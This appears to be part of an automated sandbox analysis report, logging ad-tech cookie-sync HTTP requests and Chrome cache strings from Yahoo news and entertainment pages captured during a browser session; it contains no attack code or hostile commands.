Source: global traffic	HTTP traffic detected: GET /cksync?cs=63&axid_e=eS1NYVNIemxGRTJ1SGNib1U0TjRqSGhmbmt0NkR1Z3RmeH5B&gdpr=0&ovsid=WGFTyzcQKewjN8Wy6aUUAIQzRC-OwVzzVQwF9T4mHD8&dpid=57926 HTTP/1.1Host: hb.yahoo.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://hb.yahoo.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: visitor-id=3479308310180275000V10; data-mag=LR8EUG12-1F-5JG4~~1; data-mn=3479308330180239000V10~~1; usp_status=1; data-ttd=bd6a219c-2538-477b-90ee-6d20c7860c4b~~1; data-zta=968062845637553879~~63; data-son=34d855fd-fbdc-4f5b-9260-4fff223b8b66~~1; data-tlt=3631141743957125218505~~1; data-opx=50996944-41eb-0a14-2f16-7629f8e9c8fd~~1; data-idx=ZZ8n1IPpYMLwQL_F1CLawgAAAP0AAAIB~~1; data-ayl=80df0390ac1a08301112e6851cc561f4~~1; data-sov=H-G_bLZHIhhIpR6ZTj2OFYm3~~1; data-dtm=AAACWBRgpry45AN_rYmFAAAAAAA~~1; data-apx=7367141199740274687~~1; data-pub=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4~~1; data-ctn=3eb4f1d28af642b8a97d60a85e0f7108~~1; data-ylm=VEeMJ__OOM_smh2PNiGG~~1; data-gum=u_0388cd6c-8293-4db4-818a-ce9c7e7530d0~~1
Source: global traffic	HTTP traffic detected: GET /usersync2/pubmatic&gdpr=0&gdpr_consent= HTTP/1.1Host: sync.1rx.ioConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _rxuuid=%7B%22rx_uuid%22%3A%22RX-3aca3d50-8994-4e16-b777-d0ebcb44b35f-005%22%7D
Source: global traffic	HTTP traffic detected: GET /pm_match?https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZqcz0xJmNvZGU9MjkzNiZ0bD00MzIwMA==&piggybackCookie=uid:$UID&gdpr=0&gdpr_consent= HTTP/1.1Host: um.simpli.fiConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: suid=A342B32A0BAA4852AA53FE42CB7195F6
Source: global traffic	HTTP traffic detected: GET /cksync.php?cs=8&vsid=3479308330180239000V10&type=pba&refUrl=&vid=49292354493479308330180239000V10&axid_e=&ovsid=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4 HTTP/1.1Host: contextual.media.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: visitor-id=3479308330180239000V10; usp_status=1; data-rk=968062845637553879~~8; data-g=CAESEE-LbdqTsHKcksq6UKuBoDI~~8; data-so=34d855fd-fbdc-4f5b-9260-4fff223b8b66~~8; data-c=94a96463-4da4-468a-ab35-7f2fcadb375f~~1; data-mf=20ed5203-3644-4449-ae7b-5e053499d8b1~~1; data-xu=Rw6Yt2Jl1RnHYF5~~8; data-co=AAAHl1xS8mtEBQMjNkpRAAAAAAA~~8; data-ze=v79p4FQcaoSFEzqKnYP-~~1; data-c-ts=1704929240; data-o=b6718352-3281-0abd-1f7e-c94ddda5ae48~~8; data-ttd=bd6a219c-2538-477b-90ee-6d20c7860c4b~~1; data-r=LR8EUG12-1F-5JG4~~1; data-r1=RX-3aca3d50-8994-4e16-b777-d0ebcb44b35f-005~~8
Source: global traffic	HTTP traffic detected: GET /AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTE5NjkmdGw9MTI5NjAw&piggybackCookie=ab25e982-1377-4641-a931-12c3dc8e9d24-659f27dc-5553&gdpr=0&gdpr_consent= HTTP/1.1Host: image2.pubmatic.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: KADUSERCOOKIE=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4; KRTBCOOKIE_1003=22761-cabe22d6-b00f-11ee-b20f-088496e42def&KRTB&23275-cabe22d6-b00f-11ee-b20f-088496e42def; KRTBCOOKIE_377=6810-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&22918-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&22926-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&23031-bd6a219c-2538-477b-90ee-6d20c7860c4b; KRTBCOOKIE_148=19421-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23486-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23489-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23539-uid:A342B32A0BAA4852AA53FE42CB7195F6; KRTBCOOKIE_279=22890-41161a4c-fb0e-4073-8161-2fb10dec6a95&KRTB&23011-41161a4c-fb0e-4073-8161-2fb10dec6a95&KRTB&23355-41161a4c-fb0e-4073-8161-2fb10dec6a95; KRTBCOOKIE_80=22987-CAESEPI9hVJH5w22DLuOR_CuGrs&KRTB&23025-CAESEPI9hVJH5w22DLuOR_CuGrs&KRTB&23386-CAESEPI9hVJH5w22DLuOR_CuGrs; KRTBCOOKIE_57=22776-7367141199740274687&KRTB&23339-7367141199740274687; KRTBCOOKIE_153=1923-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&19420-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&22979-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&23462-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-; KRTBCOOKIE_107=1471-uid:Rw6Yt2Jl1RnHYF5&KRTB&23421-uid:Rw6Yt2Jl1RnHYF5; KRTBCOOKIE_1278=23329-c1104da8-8b46-4cf5-be20-49100dc0f27c&KRTB&23340-c1104da8-8b46-4cf5-be20-49100dc0f27c&KRTB&23498-c1104da8-8b46-4cf5-be20-49100dc0f27c; KRTBCOOKIE_18=22947-968062845637553879; KRTBCOOKIE_860=16335-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23334-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23417-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23426-iM6nzEFLWTFEkJOJAAs0EGalMCo; KRTBCOOKIE_469=8273-875421843233&KRTB&23428-875421843233; KRTBCOOKIE_466=16530-f6435827-796b-4521-81e9-11e581628f69; KRTBCOOKIE_27=16735-uid:d579659f-27da-4200-92f9-660cb89fa4ac; KRTBCOOKIE_904=23554-e9qoKPUsCQSvHM9C2yefZQ&KRTB&23557-e9qoKPUsCQSvHM9C2yefZQ; KRTBCOOKIE_699=22727-AABsm07LPlAAABMLLoldYg; chkChromeAb67Sec=3; pi=156078:4; DPSync3=1706054400%3A201_263_258_262_261_260_256_259%7C1705449600%3A265%7C1704931200%3A255_248%7C1705881600%3A257; SyncRTB3=1710028800%3A69%7C1706054400%3A165_54_234_166_7_178_233_240_104_3_5_21_243_46_96_214_250_55_13_56_238_22_71_220_8_231%7C1705449600%3A38_2_15_223%7C1705708800%3A63%7C1707436800%3A224; SPugT=1704929245; KRTBCOOKIE_22=14911-826660698103842

Source: chromecache_206.2.dr	String found in binary or memory: window.location.replace("http://www.yahoo.com"); equals www.yahoo.com (Yahoo)
Source: chromecache_385.2.dr	String found in binary or memory: "id": "com.yahoo.www.twa", equals www.yahoo.com (Yahoo)
Source: chromecache_385.2.dr	String found in binary or memory: "android_package_name": "com.yahoo.www.twa", equals www.yahoo.com (Yahoo)
Source: chromecache_181.2.dr	String found in binary or memory: <a data-i13n=\"cpos:2;pos:1\" href=\"https://yahoo.com/entertainment/tagged/selena-gomez\" data-ylk=\"slk:Selena Gomez;cpos:2;pos:1;elm:context_link;itc:0\" class=\"link rapid-noclick-resp\">Selena Gomez</a> and <a data-i13n=\"cpos:3;pos:1\" href=\"https://www.yahoo.com/entertainment/tagged/taylor-swift\" data-ylk=\"slk:Taylor Swift;cpos:3;pos:1;elm:context_link;itc:0\" class=\"link rapid-noclick-resp\">Taylor Swift</a> equals www.yahoo.com (Yahoo)
Source: chromecache_303.2.dr	String found in binary or memory: Sold as Dietary Supplement Alarms Health Officials","tpConsent":true,"type":"story","url":"https://news.yahoo.com/gas-station-heroin-sold-dietary-183733053.html","uuid":"37846fc9-24c6-3e14-89b3-d0b87b71d5cb","videoPosition":"body","wikiids":"Dietary_supplement,Food_and_Drug_Administration,Convenience_store,Tianeptine,Poison_control_center,New_Jersey,Tobacconist,South_Jersey","xrayMeta":[{"id":"NYT","type":"ticker","namespace":"finance","longName":"The New York Times Company","shortName":"New York Times Company (The)","cryptoTradeable":false}],"ycts":"001000395","hasYahooVideo":false,"commentSectionId":5668142,"homepageUrl":"https://www.yahoo.com/news/gas-station-heroin-sold-dietary-183733053.html"}},"modules":{},"markup":"<div class=\"caas caas-cc frontpage enableEVPlayer enableOverrideSpaceId contentFeedbackEnabled enableAdFeedbackV2 enableInArticleAd enableOpinionLabel enableSingleSlotting enableVideoDocking outStream showCommentsIconWithDynamicCount enableCommentsCountInViewCommentsCta enableRRAdsSlots enableRRAdsSlotsWithJAC newsModal enableViewCommentsCTA enableXrayInline enableXrayMovieEntities enableXrayNcp enableXrayPeopleEntities enableXrayTopicEntities showCommentsIconInShareSec enableAdSlotsNewMap enableGAMAds enableGAMAdsOnLoad enableFinancePremiumTicker enableAdLiteUpSellFeedback\" data-assets=[] data-device=desktop data-i18n='{\"{date} at {time}\":\"{date} at {time}\",\"{0} hr ago\":\"{0} hr ago\",\"{0} min ago\":\"{0} min ago\",\"{0} Views\":\"{0} Views\",\"INLINE_CONSENT_BLOCKED_3P_BUTTON_ALLOW\":\"Allow\",\"LESS\":\"Less\",\"LIVE_IS_OVER\":\"LIVE COVERAGE IS OVER\",\"LOADING\":\"Loading\",\"MORE\":\"More\",\"NEW_UPDATE\":\"new update\",\"NEW_UPDATES\":\"new updates\",\"JUST_NOW\":\"Just now\",\"RELOAD\":\"Click to reload with latest update\",\"SEE {0} MORE\":\"See {0} more\",\"SEE_LESS\":\"See less\",\"SEE_MORE\":\"See more\",\"SHOW_MORE\":\"Show more updates\",\"TODAY\":\"Today\",\"TRY_AGAIN\":\"Something went wrong. Try again\",\"UPDATES\":\"updates\",\"VIDEO_A11Y_DISABLE_FULLSCREEN\":\"Full Screen, button, disabled, temporarily not available for screen reader users\"}' data-lang=en-US data-tz=America/New_York data-params='{\"features\":{\"enableEVPlayer\":true,\"enableOverrideSpaceId\":true,\"contentFeedbackEnabled\":true,\"enableAdFeedbackV2\":true,\"enableInArticleAd\":true,\"enableOpinionLabel\":true,\"enableSingleSlotting\":true,\"enableVideoDocking\":true,\"outStream\":true,\"showCommentsIconWithDynamicCount\":true,\"enableCommentsCountInViewCommentsCta\":true,\"enableRRAdsSlots\":true,\"enableRRAdsSlotsWithJAC\":true,\"newsModal\":true,\"enableViewCommentsCTA\":true,\"enableXrayInline\":true,\"enableXrayMovieEntities\":true,\"enableXrayNcp\":true,\"enableXrayPeopleEntities\":true,\"enableXrayTopicEntities\":true,\"showCommentsIconInShareSec\":true,\"enableAdSlotsNewMap\":true,\"enableGAMAds\":true,\"enableGAMAdsOnLoad\":true,\"enableFinancePremiumTicker\":true,\"enableAdLiteUpSellFeedback\":true},\"config\":{\"authorByl
Source: chromecache_181.2.dr	String found in binary or memory: Sold as Dietary Supplement Alarms Health Officials","tpConsent":true,"type":"story","url":"https://news.yahoo.com/gas-station-heroin-sold-dietary-183733053.html","uuid":"37846fc9-24c6-3e14-89b3-d0b87b71d5cb","videoPosition":"body","wikiids":"Dietary_supplement,Food_and_Drug_Administration,Convenience_store,Tianeptine,Poison_control_center,New_Jersey,Tobacconist,South_Jersey","xrayMeta":[{"id":"NYT","type":"ticker","namespace":"finance","longName":"The New York Times Company","shortName":"New York Times Company (The)","cryptoTradeable":false}],"ycts":"001000395","hasYahooVideo":false,"commentSectionId":5668142,"homepageUrl":"https://www.yahoo.com/news/gas-station-heroin-sold-dietary-183733053.html"}},"modules":{},"markup":"<div class=\"caas caas-cc frontpage enableEVPlayer enableOverrideSpaceId contentFeedbackEnabled enableAdFeedbackV2 enableInArticleAd enableOpinionLabel enableSingleSlotting enableVideoDocking outStream showCommentsIconWithDynamicCount enableCommentsCountInViewCommentsCta enableRRAdsSlots enableRRAdsSlotsWithJAC newsModal enableViewCommentsCTA enableXrayInline enableXrayMovieEntities enableXrayNcp enableXrayPeopleEntities enableXrayTopicEntities showCommentsIconInShareSec enableAdSlotsNewMap enableGAMAds enableGAMAdsOnLoad enableFinancePremiumTicker enableAdLiteUpSellFeedback\" data-assets=[] data-device=desktop data-i18n='{\"{date} at {time}\":\"{date} at {time}\",\"{0} hr ago\":\"{0} hr ago\",\"{0} min ago\":\"{0} min ago\",\"{0} Views\":\"{0} Views\",\"INLINE_CONSENT_BLOCKED_3P_BUTTON_ALLOW\":\"Allow\",\"LESS\":\"Less\",\"LIVE_IS_OVER\":\"LIVE COVERAGE IS OVER\",\"LOADING\":\"Loading\",\"MORE\":\"More\",\"NEW_UPDATE\":\"new update\",\"NEW_UPDATES\":\"new updates\",\"JUST_NOW\":\"Just now\",\"RELOAD\":\"Click to reload with latest update\",\"SEE {0} MORE\":\"See {0} more\",\"SEE_LESS\":\"See less\",\"SEE_MORE\":\"See more\",\"SHOW_MORE\":\"Show more updates\",\"TODAY\":\"Today\",\"TRY_AGAIN\":\"Something went wrong. Try again\",\"UPDATES\":\"updates\",\"VIDEO_A11Y_DISABLE_FULLSCREEN\":\"Full Screen, button, disabled, temporarily not available for screen reader users\"}' data-lang=en-US data-tz=America/New_York data-params='{\"features\":{\"enableEVPlayer\":true,\"enableOverrideSpaceId\":true,\"contentFeedbackEnabled\":true,\"enableAdFeedbackV2\":true,\"enableInArticleAd\":true,\"enableOpinionLabel\":true,\"enableSingleSlotting\":true,\"enableVideoDocking\":true,\"outStream\":true,\"showCommentsIconWithDynamicCount\":true,\"enableCommentsCountInViewCommentsCta\":true,\"enableRRAdsSlots\":true,\"enableRRAdsSlotsWithJAC\":true,\"newsModal\":true,\"enableViewCommentsCTA\":true,\"enableXrayInline\":true,\"enableXrayMovieEntities\":true,\"enableXrayNcp\":true,\"enableXrayPeopleEntities\":true,\"enableXrayTopicEntities\":true,\"showCommentsIconInShareSec\":true,\"enableAdSlotsNewMap\":true,\"enableGAMAds\":true,\"enableGAMAdsOnLoad\":true,\"enableFinancePremiumTicker\":true,\"enableAdLiteUpSellFeedback\":true},\"config\":{\"authorByl
Source: chromecache_303.2.dr, chromecache_181.2.dr	String found in binary or memory: and you've got an instant viral moment.</p><p>After <a data-i13n=\"cpos:4;pos:1\" href=\"/entertainment/golden-globes-2024-taylor-swift-barbie-lily-gladstone-jo-koy-oppenheimer-awards-184939824.html\" data-ylk=\"slk:Sunday's Golden Globe Awards;cpos:4;pos:1;elm:context_link;itc:0;outcm:mb_qualified_link;_E:mb_qualified_link;ct:story;\" class=\"link rapid-noclick-resp yahoo-link\">Sunday's Golden Globe Awards</a>, a video of Gomez gossiping with Swift went viral. Did Gomez really tell her bestie that <a data-i13n=\"cpos:5;pos:1\" href=\"https://www.yahoo.com/entertainment/tagged/kylie-jenner\" data-ylk=\"slk:Kylie Jenner;cpos:5;pos:1;elm:context_link;itc:0\" class=\"link rapid-noclick-resp\">Kylie Jenner </a>wouldn't let her take a picture with Timoth equals www.yahoo.com (Yahoo)
Source: chromecache_326.2.dr	String found in binary or memory: he added.</p><div class=caas-iframe-wrapper data-embed-anchor=cb7bfdec-c25f-5ab8-b846-60994a2539ba><div class=\"caas-iframe youtube\" style=padding-bottom:56% data-type=youtube><blockquote data-src=https://www.youtube.com/embed/yzzstf6HzSg?feature=oembed><div class=caas-card-loader></div><noscript><iframe src=https://www.youtube.com/embed/yzzstf6HzSg?feature=oembed></iframe></noscript></blockquote></div></div><p>Former U.S. Attorney Harry Litman predicted on MSNBC that all three judges would equals www.youtube.com (Youtube)
Source: chromecache_326.2.dr	String found in binary or memory: he said. \"I did not come away thinking the panel was likely to rule with the former president,\" he added. \"At some points, they seem to be debating more as to whether I'm going to use a sledgehammer or a stiletto.\"</p><div class=caas-iframe-wrapper data-embed-anchor=22babbec-2bd3-564b-b9eb-7fe4d335a944><div class=\"caas-iframe youtube\" style=padding-bottom:56% data-type=youtube><blockquote data-src=https://www.youtube.com/embed/1NuJkE-9cU8?feature=oembed><div class=caas-card-loader></div><noscript><iframe src=https://www.youtube.com/embed/1NuJkE-9cU8?feature=oembed></iframe></noscript></blockquote></div></div><p>Pan during the hearing noted the contradiction in Trump equals www.youtube.com (Youtube)
Source: chromecache_326.2.dr	String found in binary or memory: he said.</p><div class=caas-iframe-wrapper data-embed-anchor=524ac9ea-6908-5820-b5c0-23c8748749c9><div class=\"caas-iframe youtube\" style=padding-bottom:56% data-type=youtube><blockquote data-src=https://www.youtube.com/embed/HSo-n6vIC8k?feature=oembed><div class=caas-card-loader></div><noscript><iframe src=https://www.youtube.com/embed/HSo-n6vIC8k?feature=oembed></iframe></noscript></blockquote></div></div><p> equals www.youtube.com (Youtube)
Source: chromecache_180.2.dr	String found in binary or memory: ","tpConsent":true,"type":"story","url":"https://news.yahoo.com/dead-man-walking-experts-trump-140248815.html","uuid":"13c5b235-4dae-31a9-907f-135cdada812d","videoPosition":"body","wikiids":"Donald_Trump,John_Sauer,George_Conway,Jan_%c5%a0pan,SEAL_Team_Six,Argument,George_Washington_University,United_States_courts_of_appeals,Jonathan_Turley","xrayMeta":[{"type":"wiki","id":"Donald_Trump","subType":"Politician","wikiCategory":"PERSON","longName":"Donald Trump","shortName":"Donald Trump","startchar":304,"endchar":315,"notableFor":["President of the United States from 2017 to 2021"],"image":{"originalUrl":"https://s.yimg.com/zb/imgv1/3092ff53-0ab0-38e6-8d34-8636e8384b79/s_500x500","originalHeight":500,"originalWidth":500,"resolutions":[{"url":"https://s.yimg.com/zb/imgv1/3092ff53-0ab0-38e6-8d34-8636e8384b79/s_500x500","height":500,"width":500,"tag":"original"},{"url":"https://s.yimg.com/fz/api/res/1.2/QmAjRG_za.WzovhymxD00A--~A/YXBwaWQ9eW5ld3M7Zmk9Zml0O2g9NDg7cT0xMDA7dz00OA--/https://s.yimg.com/zb/imgv1/3092ff53-0ab0-38e6-8d34-8636e8384b79/s_500x500","height":48,"width":48,"tag":"48*48"}]}}],"ycts":"001000661","hasYahooVideo":false,"commentSectionId":5668142,"homepageUrl":"https://www.yahoo.com/news/dead-man-walking-experts-trump-140248815.html"}},"modules":{},"markup":"<div class=\"caas caas-cc frontpage enableEVPlayer enableOverrideSpaceId contentFeedbackEnabled enableAdFeedbackV2 enableInArticleAd enableOpinionLabel enableSingleSlotting enableVideoDocking outStream showCommentsIconWithDynamicCount enableCommentsCountInViewCommentsCta enableRRAdsSlots enableRRAdsSlotsWithJAC newsModal enableViewCommentsCTA enableXrayInline enableXrayMovieEntities enableXrayNcp enableXrayPeopleEntities enableXrayTopicEntities showCommentsIconInShareSec enableAdSlotsNewMap enableGAMAds enableGAMAdsOnLoad enableFinancePremiumTicker enableAdLiteUpSellFeedback\" data-assets=[] data-device=desktop data-i18n='{\"{date} at {time}\":\"{date} at {time}\",\"{0} hr ago\":\"{0} hr ago\",\"{0} min ago\":\"{0} min ago\",\"{0} Views\":\"{0} Views\",\"INLINE_CONSENT_BLOCKED_3P_BUTTON_ALLOW\":\"Allow\",\"LESS\":\"Less\",\"LIVE_IS_OVER\":\"LIVE COVERAGE IS OVER\",\"LOADING\":\"Loading\",\"MORE\":\"More\",\"NEW_UPDATE\":\"new update\",\"NEW_UPDATES\":\"new updates\",\"JUST_NOW\":\"Just now\",\"RELOAD\":\"Click to reload with latest update\",\"SEE {0} MORE\":\"See {0} more\",\"SEE_LESS\":\"See less\",\"SEE_MORE\":\"See more\",\"SHOW_MORE\":\"Show more updates\",\"TODAY\":\"Today\",\"TRY_AGAIN\":\"Something went wrong. Try again\",\"UPDATES\":\"updates\",\"VIDEO_A11Y_DISABLE_FULLSCREEN\":\"Full Screen, button, disabled, temporarily not available for screen reader users\"}' data-lang=en-US data-tz=America/New_York data-params='{\"features\":{\"enableEVPlayer\":true,\"enableOverrideSpaceId\":true,\"contentFeedbackEnabled\":true,\"enableAdFeedbackV2\":true,\"enableInArticleAd\":true,\"enableOpinionLabel\":true,\"enableSingleSlotting\":true,\"enableVideoDocking\":true,\"outStream\":true,\"
Source: chromecache_326.2.dr	String found in binary or memory: ","tpConsent":true,"type":"story","url":"https://news.yahoo.com/dead-man-walking-experts-trump-140248815.html","uuid":"13c5b235-4dae-31a9-907f-135cdada812d","videoPosition":"body","wikiids":"Donald_Trump,John_Sauer,George_Conway,Jan_%c5%a0pan,SEAL_Team_Six,Argument,George_Washington_University,United_States_courts_of_appeals,Jonathan_Turley","xrayMeta":[{"type":"wiki","id":"Donald_Trump","subType":"Politician","wikiCategory":"PERSON","longName":"Donald Trump","shortName":"Donald Trump","startchar":304,"endchar":315,"notableFor":["President of the United States from 2017 to 2021"],"image":{"originalUrl":"https://s.yimg.com/zb/imgv1/3092ff53-0ab0-38e6-8d34-8636e8384b79/s_500x500","originalHeight":500,"originalWidth":500,"resolutions":[{"url":"https://s.yimg.com/zb/imgv1/3092ff53-0ab0-38e6-8d34-8636e8384b79/s_500x500","height":500,"width":500,"tag":"original"},{"url":"https://s.yimg.com/fz/api/res/1.2/QmAjRG_za.WzovhymxD00A--~A/YXBwaWQ9eW5ld3M7Zmk9Zml0O2g9NDg7cT0xMDA7dz00OA--/https://s.yimg.com/zb/imgv1/3092ff53-0ab0-38e6-8d34-8636e8384b79/s_500x500","height":48,"width":48,"tag":"48*48"}]}}],"ycts":"001000661","hasYahooVideo":false,"commentSectionId":5668142,"homepageUrl":"https://www.yahoo.com/news/dead-man-walking-experts-trump-140248815.html"}},"modules":{},"markup":"<div class=\"caas caas-cc frontpage enableEVPlayer enableOverrideSpaceId contentFeedbackEnabled enableAdFeedbackV2 enableInArticleAd enableOpinionLabel enableSingleSlotting enableVideoDocking outStream showCommentsIconWithDynamicCount enableCommentsCountInViewCommentsCta enableRRAdsSlots enableRRAdsSlotsWithJAC newsModal enableViewCommentsCTA enableXrayInline enableXrayMovieEntities enableXrayNcp enableXrayPeopleEntities enableXrayTopicEntities showCommentsIconInShareSec enableAdSlotsNewMap enableGAMAds enableGAMAdsOnLoad enableFinancePremiumTicker enableAdLiteUpSellFeedback\" data-assets=[] data-device=desktop data-i18n='{\"{date} at {time}\":\"{date} at {time}\",\"{0} hr ago\":\"{0} hr ago\",\"{0} min ago\":\"{0} min ago\",\"{0} Views\":\"{0} Views\",\"INLINE_CONSENT_BLOCKED_3P_BUTTON_ALLOW\":\"Allow\",\"LESS\":\"Less\",\"LIVE_IS_OVER\":\"LIVE COVERAGE IS OVER\",\"LOADING\":\"Loading\",\"MORE\":\"More\",\"NEW_UPDATE\":\"new update\",\"NEW_UPDATES\":\"new updates\",\"JUST_NOW\":\"Just now\",\"RELOAD\":\"Click to reload with latest update\",\"SEE {0} MORE\":\"See {0} more\",\"SEE_LESS\":\"See less\",\"SEE_MORE\":\"See more\",\"SHOW_MORE\":\"Show more updates\",\"TODAY\":\"Today\",\"TRY_AGAIN\":\"Something went wrong. Try again\",\"UPDATES\":\"updates\",\"VIDEO_A11Y_DISABLE_FULLSCREEN\":\"Full Screen, button, disabled, temporarily not available for screen reader users\"}' data-lang=en-US data-tz=America/New_York data-params='{\"features\":{\"enableEVPlayer\":true,\"enableOverrideSpaceId\":true,\"contentFeedbackEnabled\":true,\"enableAdFeedbackV2\":true,\"enableInArticleAd\":true,\"enableOpinionLabel\":true,\"enableSingleSlotting\":true,\"enableVideoDocking\":true,\"outStream\":true,\"
Source: chromecache_303.2.dr, chromecache_181.2.dr	String found in binary or memory: e Chalamet","capAbtScore":"0.945","metaData":[{"visible":"false"}],"startchar":1679,"endchar":1695,"specialParentTags":["figcaption"],"instanceParentTags":[]},{"term":"WIKIID:Golden_Globe_Awards","label":"Golden Globe Awards","capAbtScore":"0.927","metaData":[{"visible":"false"}],"startchar":503,"endchar":521,"specialParentTags":["a","title","figcaption"],"instanceParentTags":["figcaption"]},{"term":"WIKIID:Miles_Teller","label":"Miles Teller","capAbtScore":"0.868","metaData":[{"visible":"false"}],"startchar":6332,"endchar":6343,"specialParentTags":["h2"],"instanceParentTags":[]},{"term":"YCT:001000031","score":"0.977358","label":"Arts & Entertainment"},{"term":"YCT:001000069","score":"0.901235","label":"Celebrities"},{"term":"YMEDIA:CATEGORY=100000000","score":"1.0","label":"Yahoo Originals"},{"term":"YMEDIA:CATEGORY=100000009","score":"1.0","label":""}],"factualPollId":null,"finalUrl":"https://www.yahoo.com/entertainment/selena-gomez-speaks-out-taylor-swift-golden-globes-video-gossip-180325569.html","hasScribble":false,"hasSlickVideo":false,"hasXraySideRail":false,"heroModule":{},"hideAllAds":false,"hostedType":"hosted","hrefLangs":[],"isBrandedContent":false,"isCommentsEligible":false,"isCreatorContent":false,"isImmersiveContent":false,"isOriginalContent":true,"isPersonalFinanceArticle":false,"isSponsoredContent":false,"keywords":"Selena Gomez, Taylor Swift, Keleigh Teller, Kylie Jenner, Getty Images, Timoth equals www.yahoo.com (Yahoo)
Source: chromecache_326.2.dr	String found in binary or memory: s team was \"taking a bad argument, their immunity argument, and conflating it with another bad argument, which is something based upon the impeachment judgment clause, and mixing them all together in the hope of getting a stronger together,\" he said. \"And what happened was the Trump attorney, Sauer, set a trap for himself that judge Pan just completely, completely closed off.\"</p><div class=caas-iframe-wrapper data-embed-anchor=a675c761-b2d3-51cd-88f6-a9973b14eed7><div class=\"caas-iframe youtube\" style=padding-bottom:56% data-type=youtube><blockquote data-src=https://www.youtube.com/embed/IOjXlgEAaic?feature=oembed><div class=caas-card-loader></div><noscript><iframe src=https://www.youtube.com/embed/IOjXlgEAaic?feature=oembed></iframe></noscript></blockquote></div></div><p>MSNBC legal analyst Chuck Rosenberg, a former U.S. attorney, said Wednesday that Trump equals www.youtube.com (Youtube)

Source: unknown

DNS traffic detected: queries for: clients2.google.com

Source: unknown

